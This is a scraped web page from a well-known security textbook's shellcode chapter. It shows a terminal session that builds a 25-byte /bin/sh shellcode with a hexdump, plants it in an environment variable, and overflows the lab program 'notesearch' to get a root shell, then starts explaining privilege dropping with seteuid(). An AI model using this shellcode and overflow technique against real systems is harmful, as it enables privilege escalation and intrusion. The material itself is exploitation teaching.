26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

eader@<strong>hacking</strong>:~/booksrc $ nasm tiny_shell.s<br />

reader@<strong>hacking</strong>:~/booksrc $ wc -c tiny_shell<br />

25 tiny_shell<br />

reader@<strong>hacking</strong>:~/booksrc $ hexdump -C tiny_shell<br />

00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|<br />

00000010 89 e2 53 89 e1 b0 0b cd 80 |..S......|<br />

00000019<br />

reader@<strong>hacking</strong>:~/booksrc $ export SHELLCODE=$(cat tiny_shell)<br />

reader@<strong>hacking</strong>:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch<br />

SHELLCODE will be at 0xbffff9cb<br />

reader@<strong>hacking</strong>:~/booksrc $ ./notesearch $(perl -e 'print "\xcb\xf9\xff\xbf"x40')<br />

[DEBUG] found a 34 byte note for user id 999<br />

[DEBUG] found a 41 byte note for user id 999<br />

[DEBUG] found a 5 byte note for user id 999<br />

[DEBUG] found a 35 byte note for user id 999<br />

[DEBUG] found a 9 byte note for user id 999<br />

[DEBUG] found a 33 byte note for user id 999<br />

-------[ end <strong>of</strong> note data ]-------<br />

sh-3.2#<br />

0x531<br />

A Matter <strong>of</strong> Privilege<br />

To help mitigate rampant privilege escalation, some privileged processes will<br />

lower <strong>the</strong>ir effective privileges while doing things that don’t require that kind<br />

<strong>of</strong> access. This can be done with <strong>the</strong> seteuid() function, which will set <strong>the</strong> effective<br />

user ID. By changing <strong>the</strong> effective user ID, <strong>the</strong> privileges <strong>of</strong> <strong>the</strong> process<br />

can be changed. The manual page for <strong>the</strong> seteuid() function is shown below.<br />

SETEGID(2) Linux Programmer's Manual SETEGID(2)<br />

NAME<br />

seteuid, setegid - set effective user or group ID<br />

SYNOPSIS<br />

#include <br />

#include <br />

int seteuid(uid_t euid);<br />

int setegid(gid_t egid);<br />

DESCRIPTION<br />

seteuid() sets <strong>the</strong> effective user ID <strong>of</strong> <strong>the</strong> current process.<br />

Unprivileged user processes may only set <strong>the</strong> effective user ID to<br />

ID to <strong>the</strong> real user ID, <strong>the</strong> effective user ID or <strong>the</strong> saved set-user-ID.<br />

Precisely <strong>the</strong> same holds for setegid() with "group" instead <strong>of</strong> "user".<br />

RETURN VALUE<br />

On success, zero is returned. On error, -1 is returned, and errno is<br />

set appropriately.<br />

This function is used by <strong>the</strong> following code to drop privileges down to<br />

those <strong>of</strong> <strong>the</strong> “games” user before <strong>the</strong> vulnerable strcpy() call.<br />

Shellcode 299

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!